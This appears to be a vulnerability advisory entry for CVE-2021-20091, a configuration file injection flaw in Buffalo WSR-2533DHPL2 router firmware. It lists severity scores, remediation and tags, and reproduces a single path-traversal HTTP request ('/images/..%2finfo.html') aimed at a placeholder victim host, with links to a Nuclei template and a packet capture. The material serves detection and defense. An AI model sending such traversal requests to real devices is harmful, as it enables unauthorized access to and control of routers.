| Title | Buffalo WSR-2533DHPL2 - Configuration File Injection |
|---|---|
| Author | gy741,pdteam,parth |
| Severity | High |
| Impact | An attacker can exploit this vulnerability to inject malicious configuration settings, potentially leading to unauthorized access or control of the router. |
| Remediation | Apply the latest firmware update provided by Buffalo to fix the configuration file injection vulnerability. |
| CVSS Score | 8.8 |
| EPSS Score | 0.8599 |
| CVE ID | CVE-2021-20091 |
| Tags | cve2021 cve buffalo firmware iot tenable vkev vuln |
The web interfaces of Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 does not properly sanitize user input. An authenticated remote attacker could leverage this vulnerability to alter device configuration, potentially leading to remote code execution.
GET /images/..%2finfo.html HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Connection: close
Referer: http://www.victim.com/info.html
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-20091.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-20091.pcap
N/AN/A